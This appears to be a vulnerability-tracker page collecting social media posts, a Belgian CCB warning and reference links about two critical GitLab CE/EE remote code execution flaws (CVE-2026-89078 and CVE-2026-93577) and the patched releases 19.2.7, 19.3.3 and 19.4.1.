social bsky.app @securitylab-jp.bsky.social 2026-09-24 23:49 UTCGitLabがCritical Patch Release公開、CVSS 9.9の脆弱性 2件(CVE-2026-89078,CVE-2026-93577)を修正 Self-Managedは19.4.1などへ更新を rocket-boys.co.jp/security-mea... #セキュリティ対策Lab #security #securitynews #セキュリティ #セキュリティニュースOpen source
-
news ccb.belgium.be 2026-09-24 15:13 UTCWarning: Critical Remote Code Execution Vulnerabilities in GitLab, Patch Immediately! - CCB BelgiumOpen source
-
social bsky.app @thehackerwire.bsky.social 2026-09-24 13:48 UTC🔴 CVE-2026-89078 - Critical (9.9) GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.7, 19... https://www.thehackerwire.com/vulnerability/CVE-2026-89078/ #infosec #cybersecurity #CVE #vulnerability…Open source
-
social bsky.app @o2cloud.bsky.social 2026-09-24 13:35 UTC🔗 CVE : CVE-2026-10518, CVE-2026-4523, CVE-2026-84739, CVE-2026-89078, CVE-2026-8937, CVE-2026-92470, CVE-2026-92529, CVE-2026-92530, CVE-2026-92628, CVE-2026-92874, CVE-2026-93577Open source
-
social bsky.app @cvemon.bsky.social 2026-09-24 05:00 UTCCVE-2026-89078 is trending. Hype score 8, currently #4 on cvemon. GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could…Open source
-
social bsky.app @stemshop.bsky.social 2026-09-24 02:07 UTC🚨 CVE-2026-89078 — CVSS 9.9 CRITICAL GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.7, 19.3 before ... 🔎 https://stemshop.top/cve/CVE-2026-89078 #CVE #CyberSecurity #InfoSecOpen source
-
social bsky.app @stackflag.bsky.social 2026-09-24 02:00 UTCCVE-2026-89078 - gitlab Versions of GitLab Community and Enterprise Edition released before 19.2.7, 19.3.3, and 19.4.1 have a flaw that could let a signed‑in user cause the server to execute their own code. The… Too many irrelevant or conf…Open source
-
social bsky.app @suriq.io 2026-09-23 23:33 UTCCVE-2026-89078 and CVE-2026-93577: GitLab CE/EE let an authenticated user run arbitrary code via a crafted regular expression in CI/CD configuration. GitLab fixed both in 19.2.7, 19.3.3 and 19.4.1. No exploitation confirmed.Open source
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-89078 |
| gitlab.com |
GitHub CVE
|
https://gitlab.com/gitlab-org/gitlab/-/work_items/628577 |
| hackerone.com |
GitHub CVE
technical-description
exploit
permissions-required
|
https://hackerone.com/reports/4019059 |
| docs.gitlab.com |
GitHub CVE
|
https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-1-released/ |